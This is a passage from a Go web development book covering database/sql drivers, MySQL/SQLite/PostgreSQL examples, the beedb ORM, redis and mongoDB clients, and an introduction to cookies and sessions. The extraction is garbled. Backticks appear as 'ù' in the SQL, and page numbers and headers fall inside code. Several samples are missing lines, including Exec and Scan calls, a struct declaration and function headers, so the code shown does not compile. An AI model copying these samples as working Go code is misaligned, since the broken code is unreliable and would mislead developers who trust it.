Close closes the current connection but still returns row data if it is executing a query operation.
NumInput returns the number of obligate arguments. Database drivers should check their caller's arguments when the
result is greater than 0, and it returns -1 when database drivers don't know any obligate argument.
Exec executes the update/insert SQL commands prepared in Prepare , returns Result .
Query executes the select SQL command prepared in Prepare , returns row data.
driver.Tx
113
Generally, transaction handles only have submit or rollback methods, and database drivers only need to implement these
two methods.
type Tx interface {
Commit() error
Rollback() error
}
driver.Execer
This is an optional interface.
type Execer interface {

Exec(query string, args []Value) (Result, error)
}
If the driver doesn't implement this interface, when you call DB.Exec, it will automatically call Prepare, then return Stmt.
After that it executes the Exec method of Stmt, then closes Stmt.
driver.Result
This is the interface for results of update/insert operations.
type Result interface {

LastInsertId() (int64, error)
RowsAffected() (int64, error)
}
LastInsertId returns auto-increment Id number after a database insert operation.
RowsAffected returns rows that were affected by query operations.
driver.Rows
This is the interface for the result of a query operation.
type Rows interface {

Columns() []string
Close() error
Next(dest []Value) error
}
Columns returns field information of database tables. The slice has a one-to-one correspondence with SQL query
fields only, and does not return all fields of that database table.
Close closes Rows iterator.
Next returns next data and assigns to dest, converting all strings into byte arrays, and gets io.EOF error if no more
data is available.
driver.RowsAffected
This is an alias of int64, but it implements the Result interface.
114
type RowsAffected int64
func (RowsAffected) LastInsertId() (int64, error)
func (v RowsAffected) RowsAffected() (int64, error)
driver.Value
This is an empty interface that can contain any kind of data.
type Value interface{}
The Value must be something that drivers can operate on or nil, so it should be one of the following types:
int64
float64
bool
[]byte
string [*] Except Rows.Next which cannot return string
time.Time
driver.ValueConverter
This defines an interface for converting normal values to driver.Value.
type ValueConverter interface {

ConvertValue(v interface{}) (Value, error)
}
This interface is commonly used in database drivers and has many useful features:
Converts driver.Value to a corresponding database field type, for example converts int64 to uint16.
Converts database query results to driver.Value.
Converts driver.Value to a user defined value in the scan function.
driver.Valuer
This defines an interface for returning driver.Value.
type Valuer interface {

Value() (Value, error)
}
Many types implement this interface for conversion between driver.Value and itself.
At this point, you should know a bit about developing database drivers in Go. Once you can implement interfaces for
operations like add, delete, update, etc., there are only a few problems left related to communicating with specific
databases.
database/sql
database/sql defines even more high-level methods on top of database/sql/driver for more convenient database operations,
and it suggests that you implement a connection pool.
115
type DB struct {
driver driver.Driver
dsn string
mu sync.Mutex // protects freeConn and closed
freeConn []driver.Conn
closed bool
}
As you can see, the Open function returns a DB that has a freeConn, and this is a simple connection pool. Its
implementation is very simple and ugly. It uses defer db.putConn(ci, err) in the Db.prepare function to put a connection
into the connection pool. Everytime you call the Conn function, it checks the length of freeConn. If it's greater than 0, that
means there is a reusable connection and it directly returns to you. Otherwise it creates a new connection and returns.
Links
Directory
Previous section: Database
Next section: MySQL
116
How to use MySQL
5.2 MySQL
The LAMP stack has been very popular on the internet in recent years, and the M in LAMP stand for MySQL. MySQL is
famous because it's open source and easy to use. As such, it has become the de-facto database in the back-ends of many
websites.
MySQL drivers
There are a couple of drivers that support MySQL in Go. Some of them implement the database/sql interface, and others
use their own interface standards.
https://github.com/go-sql-driver/mysql supports database/sql , written in pure Go.

https://github.com/ziutek/mymysql supports database/sql and user defined interfaces, written in pure Go.
I'll use the first driver in the following examples (I use this one in my personal projects too), and I also recommend that you
use it for the following reasons:
It's a new database driver and supports more features.

It fully supports database/sql interface standards.
Supports keep-alive, long connections with thread-safety.
Samples
In the following sections, I'll use the same database table structure for different databases, then create SQL as follows:
CREATE TABLE ùserinfo` (

ùid` INT(10) NOT NULL AUTO_INCREMENT,
ùsername` VARCHAR(64) NULL DEFAULT NULL,
`departname` VARCHAR(64) NULL DEFAULT NULL,
`created` DATE NULL DEFAULT NULL,
PRIMARY KEY (ùid`)
);
The following example shows how to operate on a database based on the database/sql interface standards.
package main
import (
_ "github.com/go-sql-driver/mysql"
"database/sql"
"fmt"
)
func main() {
db, err := sql.Open("mysql", "astaxie:astaxie@/test?charset=utf8")
checkErr(err)
// insert
stmt, err := db.Prepare("INSERT userinfo SET username=?,departname=?,created=?")
checkErr(err)
res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09")

checkErr(err)
id, err := res.LastInsertId()

checkErr(err)
fmt.Println(id)
// update
117
How to use MySQL
stmt, err = db.Prepare("update userinfo set username=? where uid=?")

checkErr(err)
res, err = stmt.Exec("astaxieupdate", id)

checkErr(err)
affect, err := res.RowsAffected()

checkErr(err)
fmt.Println(affect)
// query
rows, err := db.Query("SELECT * FROM userinfo")
checkErr(err)
for rows.Next() {
var uid int
var username string
var department string
var created string
err = rows.Scan(&uid, &username, &department, &created)
checkErr(err)
fmt.Println(uid)
fmt.Println(username)
fmt.Println(department)
fmt.Println(created)
}
// delete
stmt, err = db.Prepare("delete from userinfo where uid=?")
checkErr(err)
res, err = stmt.Exec(id)

checkErr(err)
affect, err = res.RowsAffected()

checkErr(err)
fmt.Println(affect)
db.Close()
func checkErr(err error) {

if err != nil {
panic(err)
}
}
Let me explain a few of the important functions here:
sql.Open() opens a registered database driver. The Go-MySQL-Driver registered the mysql driver here. The second
argument is the DSN (Data Source Name) that defines information pertaining to the database connection. It supports
following formats:
user@unix(/path/to/socket)/dbname?charset=utf8
user:password@tcp(localhost:5555)/dbname?charset=utf8
user:password@/dbname
user:password@tcp([de:ad:be:ef::ca:fe]:80)/dbname
db.Prepare() returns a SQL operation that is going to be executed. It also returns the execution status after executing
SQL.
db.Query() executes SQL and returns a Rows result.
stmt.Exec() executes SQL that has been prepared and stored in Stmt.
Note that we use the format =? to pass arguments. This is necessary for preventing SQL injection attacks.
118
How to use MySQL
Links
Directory
Previous section: database/sql interface
Next section: SQLite
119
How to use SQLite
5.3 SQLite
SQLite is an open source, embedded relational database. It has a self-contained, zero-configuration and transaction-
supported database engine. Its characteristics are highly portable, easy to use, compact, efficient and reliable. In most of
cases, you only need a binary file of SQLite to create, connect and operate a database. If you are looking for an embedded
database solution, SQLite is worth considering. You can say SQLite is the open source version of Access.
SQLite drivers
There are many database drivers for SQLite in Go, but many of them do not support the database/sql interface standards.
https://github.com/mattn/go-sqlite3 supports database/sql , based on cgo.

https://github.com/feyeleanor/gosqlite3 doesn't support database/sql , based on cgo.
https://github.com/phf/go-sqlite3 doesn't support database/sql , based on cgo.
The first driver is the only one that supports the database/sql interface standard in its SQLite driver, so I use this in my
projects -it will make it easy to migrate my code in the future if I need to.
Samples
We create the following SQL:
CREATE TABLE ùserinfo` (

ùid` INTEGER PRIMARY KEY AUTOINCREMENT,
ùsername` VARCHAR(64) NULL,
`departname` VARCHAR(64) NULL,
`created` DATE NULL
);
An example:
package main
import (
"database/sql"
"fmt"
"time"
_ "github.com/mattn/go-sqlite3"
)
func main() {
db, err := sql.Open("sqlite3", "./foo.db")
checkErr(err)
// insert
stmt, err := db.Prepare("INSERT INTO userinfo(username, departname, created) values(?,?,?)")
checkErr(err)

checkErr(err)
id, err := res.LastInsertId()

checkErr(err)
fmt.Println(id)
// update
stmt, err = db.Prepare("update userinfo set username=? where uid=?")
checkErr(err)
120
How to use SQLite
res, err = stmt.Exec("astaxieupdate", id)

checkErr(err)

checkErr(err)
fmt.Println(affect)
// query
checkErr(err)
var uid int
var username string
var created time.Time
for rows.Next() {
checkErr(err)
fmt.Println(uid)
}
rows.Close() //good habit to close
// delete
stmt, err = db.Prepare("delete from userinfo where uid=?")
checkErr(err)
res, err = stmt.Exec(id)

checkErr(err)

checkErr(err)
fmt.Println(affect)
db.Close()

if err != nil {
panic(err)
}
}
You may have noticed that the code is almost the same as in the previous section, and that we only changed the name of
the registered driver and called sql.Open to connect to SQLite in a different way.
Note that sometimes you can't use the for statement because you don't have more than one row, then you can use the
if statement
if rows.Next() {
checkErr(err)
fmt.Println(uid)
}
Also you have to do a rows.Next() , without using that you can't fetch data in the Scan function.
Transactions
121
How to use SQLite
The above example shows how you fetch data from the database, but when you want to write a web application then it will
not only be necessary to fetch data from the db but it will also be required to write data into it. For that purpose, you should
use transactions because for various reasons, such as having multiple go routines which access the database, the
database might get locked. This is undesirable in your web application and the use of transactions is effective in ensuring
your database activities either pass or fail completely depending on circumstances. It is clear that using transactions can
prevent a lot of things from going wrong with the web app.
trashSQL, err := database.Prepare("update task set is_deleted='Y',last_modified_at=datetime() where id=?")

if err != nil {
fmt.Println(err)
}
tx, err := database.Begin()
if err != nil {
fmt.Println(err)
}
_, err = tx.Stmt(trashSQL).Exec(id)
if err != nil {
fmt.Println("doing rollback")
tx.Rollback()
} else {
tx.Commit()
}
As it is clear from the above block of code, you first prepare a statement, after which you execute it, depending on the
output of that execution then you either roll it back or commit it.
As a final note on this section, there is a useful SQLite management tool available: http://sqlitebrowser.org
Links
Directory
Previous section: MySQL
Next section: PostgreSQL
122
How to use PostgreSQL
5.4 PostgreSQL
PostgreSQL is an object-relational database management system available for many platforms including Linux, FreeBSD,
Solaris, Microsoft Windows and Mac OS X. It is released under an MIT-style license, and is thus free and open source
software. It's larger than MySQL because it's designed for enterprise usage as an alternative to Oracle. Postgresql is a
good choice for enterprise type projects.
PostgreSQL drivers
There are many database drivers available for PostgreSQL. Here are three examples of them:
https://github.com/lib/pq supports database/sql , written in pure Go.

https://github.com/jbarham/gopgsqldriver supports database/sql , written in pure Go.
https://github.com/lxn/go-pgsql supports database/sql , written in pure Go.
I will use the first one in the examples that follow.
Samples
We create the following SQL:
CREATE TABLE userinfo

(
uid serial NOT NULL,
username character varying(100) NOT NULL,
departname character varying(500) NOT NULL,
Created date,
CONSTRAINT userinfo_pkey PRIMARY KEY (uid)
)
WITH (OIDS=FALSE);
An example:
package main
import (
"database/sql"
"fmt"
_ "github.com/lib/pq"
"time"
)
const (
DB_USER = "postgres"
DB_PASSWORD = "postgres"
DB_NAME = "test"
)
func main() {
dbinfo := fmt.Sprintf("user=%s password=%s dbname=%s sslmode=disable",
DB_USER, DB_PASSWORD, DB_NAME)
db, err := sql.Open("postgres", dbinfo)
checkErr(err)
defer db.Close()
fmt.Println("# Inserting values")
var lastInsertId int

err = db.QueryRow("INSERT INTO userinfo(username,departname,created) VALUES($1,$2,$3) returning uid;", "astax
ie", "研发部门", "2012-12-09").Scan(&lastInsertId)
123
checkErr(err)
fmt.Println("last inserted id =", lastInsertId)
fmt.Println("# Updating")
stmt, err := db.Prepare("update userinfo set username=$1 where uid=$2")
checkErr(err)
res, err := stmt.Exec("astaxieupdate", lastInsertId)

checkErr(err)

checkErr(err)
fmt.Println(affect, "rows changed")
fmt.Println("# Querying")
checkErr(err)
for rows.Next() {
var uid int
var username string
var created time.Time
checkErr(err)
fmt.Println("uid | username | department | created ")
fmt.Printf("%3v | %8v | %6v | %6v\n", uid, username, department, created)
}
fmt.Println("# Deleting")
stmt, err = db.Prepare("delete from userinfo where uid=$1")
checkErr(err)
res, err = stmt.Exec(lastInsertId)

checkErr(err)

checkErr(err)
fmt.Println(affect, "rows changed")

}

if err != nil {
panic(err)
}
}
Note that PostgreSQL uses the $1, $2 format instead of the ? that MySQL uses, and it has a different DSN format in
sql.Open . Another thing is that the PostgreSQL driver does not support sql.Result.LastInsertId() . So instead of this,
stmt, err := db.Prepare("INSERT INTO userinfo(username,departname,created) VALUES($1,$2,$3);")

fmt.Println(res.LastInsertId())
use db.QueryRow() and .Scan() to get the value for the last inserted id.
err = db.QueryRow("INSERT INTO TABLE_NAME values($1) returning uid;", VALUE1").Scan(&lastInsertId)

fmt.Println(lastInsertId)
Links
Directory
Previous section: SQLite
124
Next section: Develop ORM based on beedb
125
How to use beedb ORM
5.5 Develop ORM based on beedb

( Project beedb is no longer maintained, but the code s still there )
beedb is an ORM ( object-relational mapper ) developed in Go, by me. It uses idiomatic Go to operate on databases,
implementing struct-to-database mapping and acts as a lightweight Go ORM framework. The purpose of developing this
ORM is not only to help people learn how to write an ORM, but also to find a good balance between functionality and
performance when it comes to data persistence.
beedb is an open source project that supports basic ORM functionality, but doesn't support association queries.
Because beedb supports database/sql interface standards, any driver that implements this interface can be used with
beedb. I've tested the following drivers:
Mysql: github/go-mysql-driver/mysql
PostgreSQL: github.com/lib/pq
SQLite: github.com/mattn/go-sqlite3
Mysql: github.com/ziutek/mymysql/godrv
MS ADODB: github.com/mattn/go-adodb
Oracle: github.com/mattn/go-oci8
ODBC: bitbucket.org/miquella/mgodbc
Installation
You can use go get to install beedb locally.
go get github.com/astaxie/beedb
Initialization
First, you have to import all the necessary packages:
import (
"database/sql"
"github.com/astaxie/beedb"
)
Then you need to open a database connection and create a beedb object (MySQL in this example):
db, err := sql.Open("mymysql", "test/xiemengjun/123456")

if err != nil {
panic(err)
}
orm := beedb.New(db)
beedb.New() actually has two arguments. The first is the database object, and the second is for indicating which database
engine you're using. If you're using MySQL/SQLite, you can just skip the second argument.
Otherwise, this argument must be supplied. For instance, in the case of SQLServer:
126
orm = beedb.New(db, "mssql")
PostgreSQL:
orm = beedb.New(db, "pg")
beedb supports debugging. Use the following code to enable it:
beedb.OnDebug=true
Next, we have a struct for the Userinfo database table that we used in previous sections.
type Userinfo struct {

Uid int `PK` // if the primary key is not id, you need to add tag `PK` for your customized primary key.
Username string
Departname string
Created time.Time
}
Be aware that beedb auto-converts camelcase names to lower snake case. For example, if we have UserInfo as the
struct name, beedb will convert it to user_info in the database. The same rule applies to struct field names.
Insert data
The following example shows you how to use beedb to save a struct, instead of using raw SQL commands. We use the
beedb Save method to apply the change.
var saveone Userinfo

saveone.Username = "Test Add User"
saveone.Departname = "Test Add Departname"
saveone.Created = time.Now()
orm.Save(&saveone)
You can check saveone.Uid after the record is inserted; its value is a self-incremented ID, which the Save method takes
care of for you.
beedb provides another way of inserting data; this is via Go's map type.
add := make(map[string]interface{})
add["username"] = "astaxie"
add["departname"] = "cloud develop"
add["created"] = "2012-12-02"
orm.SetTable("userinfo").Insert(add)
Insert multiple data:
addslice := make([]map[string]interface{}, 10)

add:=make(map[string]interface{})
add2:=make(map[string]interface{})
add["username"] = "astaxie"
add["departname"] = "cloud develop"
add["created"] = "2012-12-02"
add2["username"] = "astaxie2"
add2["departname"] = "cloud develop2"
add2["created"] = "2012-12-02"
addslice = append(addslice, add, add2)
orm.SetTable("userinfo").InsertBatch(addslice)
127
The method shown above is similar to a chained query, which you should be familiar with if you've ever used jquery. It
returns the original ORM object after calls, then continues doing other jobs.
The method SetTable tells the ORM we want to insert our data into the userinfo table.
Update data
Let's continue working with the above example to see how to update data. Now that we have the primary key of
saveone(Uid), beedb executes an update operation instead of inserting a new record.
saveone.Username = "Update Username"

saveone.Departname = "Update Departname"
saveone.Created = time.Now()
orm.Save(&saveone) // update
Like before, you can also use map for updating data:
t := make(map[string]interface{})
t["username"] = "astaxie"
orm.SetTable("userinfo").SetPK("uid").Where(2).Update(t)
Let me explain some of the methods used above:
.SetPK() tells the ORM that uid is the primary key records in the userinfo table.
.Where() sets conditions and supports multiple arguments. If the first argument is an integer, it's a short form for
Where("<primary key>=?", <value>) .
.Update() method accepts a map and updates the database.
Query data
The beedb query interface is very flexible. Let's see some examples:
Example 1, query by primary key:
var user Userinfo

// Where accepts two arguments, supports integers
orm.Where("uid=?", 27).Find(&user)
Example 2:
var user2 Userinfo

orm.Where(3).Find(&user2) // short form that omits primary key
Example 3, other query conditions:
var user3 Userinfo

// Where two arguments are accepted, with support for char type.
orm.Where("name = ?", "john").Find(&user3)
Example 4, more complex conditions:
var user4 Userinfo

// Where three arguments are accepted
orm.Where("name = ? and age < ?", "john", 88).Find(&user4)
Examples to get multiple records:
128
Example 1, gets 10 records with id>3 that starts with position 20:
var allusers []Userinfo

err := orm.Where("id > ?", "3").Limit(10,20).FindAll(&allusers)
Example 2, omits the second argument of limit, so it starts with 0 and gets 10 records:
var tenusers []Userinfo

err := orm.Where("id > ?", "3").Limit(10).FindAll(&tenusers)
Example 3, gets all records:
var everyone []Userinfo

err := orm.OrderBy("uid desc,username asc").FindAll(&everyone)
As you can see, the Limit method is for limiting the number of results.
.Limit() supports two arguments: the number of results and the starting position. 0 is the default value of the starting
position.
.OrderBy() is for ordering results. The argument is the order condition.
All the examples here are simply mapping records to structs. You can also just put the data into a map as follows:
a, _ := orm.SetTable("userinfo").SetPK("uid").Where(2).Select("uid,username").FindMap()
.Select() tells beedb how many fields you want to get from the database table. If unspecified, all fields are returned
by default.
.FindMap() returns the []map[string][]byte type, so you need to convert to other types yourself.
Delete data
beedb provides rich methods to delete data.
Example 1, delete a single record:
// saveone is the one in above example.

orm.Delete(&saveone)
Example 2, delete multiple records:
// alluser is the slice which gets multiple records.

orm.DeleteAll(&alluser)
Example 3, delete records by SQL:
orm.SetTable("userinfo").Where("uid>?", 3).DeleteRow()
Association queries
beedb doesn't support joining between structs. However, since some applications need this feature, here is an
implementation:
a, _ := orm.SetTable("userinfo").Join("LEFT", "userdetail", "userinfo.uid=userdetail.uid")

.Where("userinfo.uid=?", 1).Select("userinfo.uid,userinfo.username,userdetail.profile").FindMap()
129
We see a new method called .Join() that has three arguments:
The first argument: Type of Join; INNER, LEFT, OUTER, CROSS, etc.
The second argument: the table you want to join with.
The third argument: join condition.
Group By and Having

beedb also has an implementation of group by and having .
a, _ := orm.SetTable("userinfo").GroupBy("username").Having("username='astaxie'").FindMap()
.GroupBy() indicates the field that is for group by.
.Having() indicates conditions of having.
Future
I have received a lot of feedback on beedb from many people all around the world, and I'm thinking about reconfiguring the
following aspects:
Implement an interface design similar to database/sql/driver in order to facilitate CRUD operations.

Implement relational database associations like one to one, one to many and many to many. Here's a sample:
type Profile struct {

Nickname string
Mobile string
}
type Userinfo struct {

Uid int
PK_Username string
Departname string
Created time.Time
Profile HasOne
}
Auto-create tables and indexes.

Implement a connection pool using goroutines.
Links
Directory
Previous section: PostgreSQL
Next section: NoSQL database
130
NOSQL
5.6 NoSQL database

A NoSQL database provides a mechanism for the storage and retrieval of data that uses looser consistency models than
typical relational databases in order to achieve horizontal scaling and higher availability. Some authors refer to them as
"Not only SQL" to emphasize that some NoSQL systems do allow SQL-like query languages to be used.
As the C language of the 21st century, Go has good support for NoSQL databases, including the popular redis, mongoDB,
Cassandra and Membase NoSQL databases.
redis
redis is a key-value storage system like Memcached, that supports the string, list, set and zset(ordered set) value types.
There are some Go database drivers for redis:
https://github.com/garyburd/redigo
https://github.com/go-redis/redis
https://github.com/hoisie/redis
https://github.com/alphazero/Go-Redis
https://github.com/simonz05/godis
Let's see how to use the driver that redigo to operate on a database:
package main
import (
"fmt"
"github.com/garyburd/redigo/redis"
"os"
"os/signal"
"syscall"
"time"
)
var (
Pool *redis.Pool
)
func init() {
redisHost := ":6379"
Pool = newPool(redisHost)
close()
}
func newPool(server string) *redis.Pool {
return &redis.Pool{
MaxIdle: 3,
IdleTimeout: 240 * time.Second,
Dial: func() (redis.Conn, error) {

c, err := redis.Dial("tcp", server)
if err != nil {
return nil, err
}
return c, err
},
TestOnBorrow: func(c redis.Conn, t time.Time) error {

_, err := c.Do("PING")
return err
131
NOSQL
},
}
}
func close() {
c := make(chan os.Signal, 1)
signal.Notify(c, os.Interrupt)
signal.Notify(c, syscall.SIGTERM)
signal.Notify(c, syscall.SIGKILL)
go func() {
<-c
Pool.Close()
os.Exit(0)
}()
}
func Get(key string) ([]byte, error) {
conn := Pool.Get()
defer conn.Close()
var data []byte

data, err := redis.Bytes(conn.Do("GET", key))
if err != nil {
return data, fmt.Errorf("error get key %s: %v", key, err)
}
return data, err
}
func main() {
test, err := Get("test")
fmt.Println(test, err)
}
I forked the last of these packages, fixed some bugs, and used it in my short URL service (2 million PV every day).
https://github.com/astaxie/goredis
Let's see how to use the driver that I forked to operate on a database:
package main
import (
"github.com/astaxie/goredis"
"fmt"
)
func main() {
var client goredis.Client
// Set the default port in Redis

client.Addr = "127.0.0.1:6379"
// string manipulation
client.Set("a", []byte("hello"))
val, _ := client.Get("a")
fmt.Println(string(val))
client.Del("a")
// list operation
vals := []string{"a", "b", "c", "d", "e"}
for _, v := range vals {
client.Rpush("l", []byte(v))
}
dbvals,_ := client.Lrange("l", 0, 4)
for i, v := range dbvals {
println(i,":",string(v))
}
client.Del("l")
}
132
NOSQL
We can see that it is quite easy to operate redis in Go, and it has high performance. It's client commands are almost the
same as redis' built-in commands.
mongoDB
mongoDB (from "humongous") is an open source document-oriented database system developed and supported by 10gen.
It is part of the NoSQL family of database systems. Instead of storing data in tables as is done in a "classical" relational
database, MongoDB stores structured data as JSON-like documents with dynamic schemas (MongoDB calls the format
BSON), making the integration of data in certain types of applications easier and faster.
Figure 5.1 MongoDB compared to Mysql
The best driver for mongoDB is called mgo , and it is possible that it will be included in the standard library in the future.
Install mgo:
go get gopkg.in/mgo.v2
Here is the example:
package main
import (
"fmt"
"gopkg.in/mgo.v2"
"gopkg.in/mgo.v2/bson"
"log"
)

Name string
Phone string
}
func main() {
session, err := mgo.Dial("server1.example.com,server2.example.com")
if err != nil {
panic(err)
}
defer session.Close()
// Optional. Switch the session to a monotonic behavior.

session.SetMode(mgo.Monotonic, true)
c := session.DB("test").C("people")
err = c.Insert(&Person{"Ale", "+55 53 8116 9639"},
&Person{"Cla", "+55 53 8402 8510"})
if err != nil {
log.Fatal(err)
}
result := Person{}
err = c.Find(bson.M{"name": "Ale"}).One(&result)
if err != nil {
log.Fatal(err)
}
fmt.Println("Phone:", result.Phone)
}
133
NOSQL
We can see that there are no big differences when it comes to operating on mgo or beedb databases; they are both based
on structs. This is the Go way of doing things.
Links
Directory
Previous section: Develop ORM based on beedb
134
Summary
5.7 Summary
In this chapter, you first learned about the design of the database/sql interface and many third-party database drivers for
various database types. Then I introduced beedb, an ORM for relational databases, to you. I also showed you some
sample database operations. In the end, I talked about a few NoSQL databases. We saw that Go provides very good
support for those NoSQL databases.
After reading this chapter, I hope that you have a better understanding of how to operate databases in Go. This is the most
important part of web development, so I want you to completely understand the design concepts of the database/sql
interface.
Links
Directory
Previous section: NoSQL database
Next section: Data storage and session
135
Data storage and session
6 Data storage and sessions

An important topic in web development is providing a good user experience, but the fact that HTTP is a stateless protocol
seems contrary to this spirit. How can we control the whole process of viewing websites for users? The classic solutions
are using cookies and sessions, where cookies serve as the client side mechanism and sessions are saved on the server
side with a unique identifier for every single user. Note that sessions can be passed in URLs or cookies, or even in your
database (which is much more secure, but may hamper your application performance).
In section 6.1, we are going to talk about differences between cookies and sessions. In section 6.2, you'll learn how to use
sessions in Go with an implementation of a session manager. In section 6.3, we will talk about session hijacking and how to
prevent it when you know that sessions can be saved anywhere. The session manager we will implement in section 6.3 will
save sessions in memory, but if we need to expand our application to allow for session sharing, it's always better to save
these sessions directly into our database. We'll talk more about this in section 6.4.
Links
Directory
Next section: Session and cookies
136
Session and cookies
6.1 Session and cookies

Sessions and cookies are two very common web concepts, and are also very easy to misunderstand. However, they are
extremely important for the authorization of pages, as well as for gathering page statistics. Let's take a look at these two
use cases.
Suppose you want to crawl a page that restricts public access, like a twitter user's homepage for instance. Of course you
can open your browser and type in your username and password to login and access that information, but so-called "web
crawling" means that we use a program to automate this process without any human intervention. Therefore, we have to
find out what is really going on behind the scenes when we use a browser to login.
When we first receive a login page and type in a username and password, after we press the "login" button, the browser
sends a POST request to the remote server. The Browser redirects to the user homepage after the server verifies the login
information and returns an HTTP response. The question here is, how does the server know that we have access privileges
for the desired webpage? Because HTTP is stateless, the server has no way of knowing whether or not we passed the
verification in last step. The easiest and perhaps the most naive solution is to append the username and password to the
URL. This works, but puts too much pressure on the server (the server must validate every request against the database),
and can be detrimental to the user experience. An alternative way of achieving this goal is to save the user's identity either
on the server side or client side using cookies and sessions.
Cookies, in short, store historical information (including user login information) on the client's computer. The client's browser
sends these cookies everytime the user visits the same website, automatically completing the login step for the user.
Figure 6.1 cookie principle.
Sessions, on the other hand, store historical information on the server side. The server uses a session id to identify different
sessions, and the session id that is generated by the server should always be random and unique. You can use cookies or
URL arguments to get the client's identity.
Figure 6.2 session principle.
Cookies
Cookies are maintained by browsers. They can be modified during communication between webservers and browsers.
Web applications can access cookie information when users visit the corresponding websites. Within most browser
settings, there is one setting pertaining to cookie privacy. You should be able to see something similar to the following when
you open it.
Figure 6.3 cookie in browsers.
Cookies have an expiry time, and there are two types of cookies distinguished by their life cyles: session cookies and
persistent cookies.
If your application doesn't set a cookie expiry time, the browser will not save it into the local file system after the browser is
closed. These cookies are called session cookies, and this type of cookie is usually saved in memory instead of to the local
file system.
If your application does set an expiry time (for example, setMaxAge(606024)), the browser will save this cookie to the local
file system, and it will not be deleted until reaching the allotted expiry time. Cookies that are saved to the local file system
can be shared by different browser processes -for example, by two IE windows; different browsers use different processes
for dealing with cookies that are saved in memory. 　　
137
Session and cookies
Set cookies in Go
Go uses the SetCookie function in the net/http package to set cookies:
http.SetCookie(w ResponseWriter, cookie *Cookie)
w is the response of the request and cookie is a struct. Let's see what it looks like:
type Cookie struct {

Name string
Value string
Path string
Domain string
Expires time.Time
RawExpires string
// MaxAge=0 means no 'Max-Age' attribute specified.

// MaxAge<0 means delete cookie now, equivalently 'Max-Age: 0'
// MaxAge>0 means Max-Age attribute present and given in seconds
MaxAge int
Secure bool
HttpOnly bool
Raw string
Unparsed []string // Raw text of unparsed attribute-value pairs
}
Here is an example of setting a cookie:
expiration := time.Now().Add(365 * 24 * time.Hour)

cookie := http.Cookie{Name: "username", Value: "astaxie", Expires: expiration}
http.SetCookie(w, &cookie)
Fetch cookies in Go
The above example shows how to set a cookie. Now let's see how to get a cookie that has been set:
cookie, _ := r.Cookie("username")
fmt.Fprint(w, cookie)
Here is another way to get a cookie:
for _, cookie := range r.Cookies() {

fmt.Fprint(w, cookie.Name)
}
As you can see, it's very convenient to get cookies from requests.
Sessions
A session is a series of actions or messages. For example, you can think of the actions you between picking up your
telephone to hanging up to be a type of session. When it comes to network protocols, sessions have more to do with
connections between browsers and servers.
Sessions help to store the connection status between server and client, and this can sometimes be in the form of a data
storage struct.
138
Session and cookies
Sessions are a server-side mechanism, and usually employ hash tables (or something similar) to save incoming
information.
When an application needs to assign a new session to a client, the server should check if there are any existing sessions
for the same client with a unique session id. If the session id already exists, the server will just return the same session to
the client. On the other hand, if a session id doesn't exist for the client, the server creates a brand new session (this usually
happens when the server has deleted the corresponding session id, but the user has appended the old session manually).
The session itself is not complex but its implementation and deployment are, so you cannot use "one way to rule them all".
Summary
In conclusion, the purpose of sessions and cookies are the same. They are both for overcoming the statelessness of HTTP,
but they use different methods. Sessions use cookies to save session ids on the client side, and save all other information
on the server side. Cookies save all client information on the client side. You may have noticed that cookies have some
security problems. For example, usernames and passwords can potentially be cracked and collected by malicious third
party websites.
Here are two common exploits:
1. appA setting an unexpected cookie for appB.

2. XSS attack: appA uses the JavaScript document.cookie to access the cookies of appB.
After finishing this section, you should know some of the basic concepts of cookies and sessions. You should be able to
understand the differences between them so that you won't kill yourself when bugs inevitably emerge. We'll discuss
sessions in more detail in the following sections.
Links
Directory
Previous section: Data storage and session
Next section: How to use session in Go
139
How to use session in Go
6.2 How to use sessions in Go

In section 6.1, we learned that sessions are one solution for verifying users, and that for now, the Go standard library does
not have baked-in support for sessions or session handling. So, we're going to implement our own version of a session
manager in Go.
Creating sessions
The basic principle behind sessions is that a server maintains information for every single client, and clients rely on unique
session id's to access this information. When users visit the web application, the server will create a new session with the
following three steps, as needed:
Create a unique session id

Open up a data storage space: normally we save sessions in memory, but you will lose all session data if the system is
accidentally interrupted. This can be a very serious issue if web application deals with sensitive data, like in electronic
commerce for instance. In order to solve this problem, you can instead save your session data in a database or file
system. This makes data persistence more reliable and easy to share with other applications, although the tradeoff is
that more server-side IO is needed to read and write these sessions.
Send the unique session id to the client.
The key step here is to send the unique session id to the client. In the context of a standard HTTP response, you can either
use the response line, header or body to accomplish this; therefore, we have two ways to send session ids to clients: by
cookies or URL rewrites.
Cookies: the server can easily use Set-cookie inside of a response header to send a session id to a client, and a
client can then use this cookie for future requests; we often set the expiry time for cookies containing session
information to 0, which means the cookie will be saved in memory and only deleted after users have close their
browsers.
URL rewrite: append the session id as arguments in the URL for all pages. This way seems messy, but it's the best
choice if clients have disabled cookies in their browsers.
Use Go to manage sessions

We've talked about constructing sessions, and you should now have a general overview of it, but how can we use sessions
on dynamic pages? Let's take a closer look at the life cycle of a session so we can continue implementing our Go session
manager.
Session management design

Here is a list of some of the key considerations in session management design.
Global session manager.

Keep session id unique.
Have one session for every user.
Session storage in memory, file or database.
Deal with expired sessions.
Next, we'll examine a complete example of a Go session manager and the rationale behind some of its design decisions.
Session manager
Define a global session manager:
140
type Manager struct {

cookieName string //private cookiename
lock sync.Mutex // protects session
provider Provider
maxlifetime int64
}
func NewManager(provideName, cookieName string, maxlifetime int64) (*Manager, error) {

provider, ok := provides[provideName]
if !ok {
return nil, fmt.Errorf("session: unknown provide %q (forgotten import?)", provideName)
}
return &Manager{provider: provider, cookieName: cookieName, maxlifetime: maxlifetime}, nil
}
Create a global session manager in the main() function:
var globalSessions *session.Manager

// Then, initialize the session manager
func init() {
globalSessions = NewManager("memory","gosessionid",3600)
}
We know that we can save sessions in many ways including in memory, the file system or directly into the database. We
need to define a Provider interface in order to represent the underlying structure of our session manager:
type Provider interface {

SessionInit(sid string) (Session, error)
SessionRead(sid string) (Session, error)
SessionDestroy(sid string) error
SessionGC(maxLifeTime int64)
}
SessionInit implements the initialization of a session, and returns a new session if it succeeds.
SessionRead returns a session represented by the corresponding sid. Creates a new session and returns it if it does
not already exist.

SessionDestroy given an sid, deletes the corresponding session.
SessionGC deletes expired session variables according to maxLifeTime .
So what methods should our session interface have? If you have any experience in web development, you should know
that there are only four operations for sessions: set value, get value, delete value and get current session id. So, our
session interface should have four methods to perform these operations.
type Session interface {

Set(key, value interface{}) error //set session value
Get(key interface{}) interface{} //get session value
Delete(key interface{}) error //delete session value
SessionID() string //back current sessionID
}
This design takes its roots from the database/sql/driver , which defines the interface first, then registers specific structures
when we want to use it. The following code is the internal implementation of a session register function.
141
